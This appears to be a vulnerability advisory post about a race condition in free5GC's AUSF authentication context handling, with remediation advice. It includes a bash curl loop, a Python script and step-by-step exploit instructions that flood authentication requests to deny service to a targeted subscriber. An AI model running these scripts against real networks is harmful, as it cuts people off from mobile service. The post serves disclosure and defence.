Listen to this Post
The AUSF (Authentication Server Function) component of free5GC is responsible for managing subscriber authentication within the 5G core network. In versions up to and including 1.4.4, it stores per-subscriber authentication state in a global `sync.Map` named AUSFContext.UePool, located in internal/context/context.go. This map is keyed only by the SUPI (Subscription Permanent Identifier).
When a new authentication request arrives, the function `internal/sbi/processor/ue_authentication.go` creates a new `AusfUeContext` object. This context contains critical, session-specific security material like K_aut, XRES, and EapID. The `AddAusfUeContextToPool` function then executes ausfContext.UePool.Store(ausfUeContext.Supi, ausfUeContext), which unconditionally replaces any existing context in the map for that SUPI.
The core of the vulnerability is the lack of a per-session unique identifier and the absence of any check to see if an authentication procedure is already in progress for that SUPI. There is no guard like LoadOrStore, no `AUTHENTICATION_IN_PROGRESS` response, and no rate limiting per SUPI. For EAP-AKA’, the returned context URL is derived directly from the SUCI/SUPI path (e.g., /nausf-auth/v1/ue-authentications/{suci}/eap-session), meaning all concurrent attempts for the same subscriber point to the same logical context URL.
An attacker with access to the AUSF’s SBI/N12 interface can exploit this by sending multiple concurrent `POST /nausf-auth/v1/ue-authentications` requests for the same target SUPI. Each request is accepted and overwrites the previous authentication context in the global map. When a legitimate UE responds with an EAP-AKA’ challenge, the AUSF looks up the context by SUPI and retrieves the latest overwritten context. The valid response, computed with the original `K_aut` and XRES, is then verified against the incorrect, overwritten keys. This causes the AT_MAC verification to fail, denying authentication to the targeted subscriber. This is a classic race condition (CWE-362).
DailyCVE Form:
Platform: free5GC AUSF
Version: ≤ 1.4.4
Vulnerability : Race Condition
Severity: High (CVSS 7.5)
date: 2026-08-28
Prediction: 2026-09-30
What Undercode Say:
The following commands and code snippets illustrate the vulnerability and its impact.
1. Vulnerable Code Snippet (internal/context/context.go)
type AUSFContext struct {
suciSupiMap sync.Map
UePool sync.Map
// ...
}
func AddAusfUeContextToPool(ausfUeContext AusfUeContext) {
ausfContext.UePool.Store(ausfUeContext.Supi, ausfUeContext)
}
This shows the unconditional `Store` operation that overwrites any existing context for the SUPI.
2. Bash Command to Simulate a Flood of Authentication Requests
This command uses `curl` in a loop to send multiple concurrent authentication requests for the same SUCI, simulating the attack.
Replace with the target SUCI and AUSF IP/Port
TARGET_SUCI="suci-0-001-01-0-0-0-0000000002"
AUSF_URL="http://127.0.0.1:8100/nausf-auth/v1/ue-authentications"
for i in {1..20}; do
curl -X POST $AUSF_URL \
-H "Content-Type: application/json" \
-d '{"supiOrSuci": "'$TARGET_SUCI'", "servingNetworkName": "5G:mnc001.mcc001"}' &
done
wait
3. Python Snippet for a Proof-of-Concept (Educational Purposes)
This Python script demonstrates the core logic of sending concurrent requests. A full PoC would involve crafting valid EAP-AKA’ responses.
import requests
import concurrent.futures
target_suci = "suci-0-001-01-0-0-0-0000000002"
ausf_url = "http://127.0.0.1:8100/nausf-auth/v1/ue-authentications"
payload = {"supiOrSuci": target_suci, "servingNetworkName": "5G:mnc001.mcc001"}
def send_auth_request():
try:
response = requests.post(ausf_url, json=payload)
print(f"Status: {response.status_code}, EapID: {response.json().get('eapId')}")
except Exception as e:
print(f"Error: {e}")
with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor:
futures = [executor.submit(send_auth_request) for _ in range(20)]
This script sends 20 concurrent authentication requests, which, due to the race condition, will cause the AUSF to overwrite the context for the target SUPI multiple times.
Exploit: (Educational Purposes!)
An attacker would execute the following steps to exploit this vulnerability:
1. Identify Target: Choose a specific subscriber’s SUPI to target for a Denial of Service (DoS).
2. Gain Access: Obtain network access to the AUSF’s SBI/N12 interface. This is typically an internal network, but in default or misconfigured deployments, it might be exposed.
3. Launch Flood: Use a script to send a high volume of concurrent `POST /nausf-auth/v1/ue-authentications` requests for the target SUPI. The goal is to continuously overwrite the authentication context in the UePool.
4. Maintain Attack: Continue the flood of requests. Any legitimate authentication attempt by the target subscriber will now fail because the AUSF will verify their valid EAP-AKA’ response against an incorrect, overwritten context (e.g., wrong K_aut), causing the AT_MAC check to fail.
Protection: from this CVE
The most robust fix is to stop using SUPI as the sole authentication-session key. The recommended remediation steps are:
1. Implement Unique Session IDs: Generate a unique session identifier (e.g., a UUID) for every authentication request. Store the `AusfUeContext` under this session ID instead of the SUPI. The auth context URL should then include this session ID (e.g., /nausf-auth/v1/ue-authentications/{sessionID}/eap-session). This ensures each authentication flow has its own isolated context.
2. Atomic Check-and-Insert: If the intended behavior is to allow only one active authentication procedure per SUPI, use an atomic operation like LoadOrStore. If a context for the SUPI already exists and its status is ONGOING, the AUSF should explicitly reject the new request with an `HTTP 409 Conflict` and a `AUTHENTICATION_IN_PROGRESS` cause.
3. Rate Limiting: Apply per-SUPI rate limiting on the `POST /ue-authentications` endpoint to mitigate flood attacks.
4. Strengthen Network Security: In production deployments, enforce strict SBI isolation, mTLS, and OAuth2 to ensure that only authorized network functions can access the AUSF interface.
Impact:
The primary impact is a targeted Denial of Service (DoS) for a chosen subscriber. An attacker can prevent a specific user from authenticating to the 5G network for as long as the attack continues. The AUSF process itself does not crash, and no authentication material is exposed to the attacker. The availability of the authentication service is compromised for the targeted individual. In a default deployment where OAuth2 is disabled and the service listens on 0.0.0.0, the attack surface is significantly larger.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
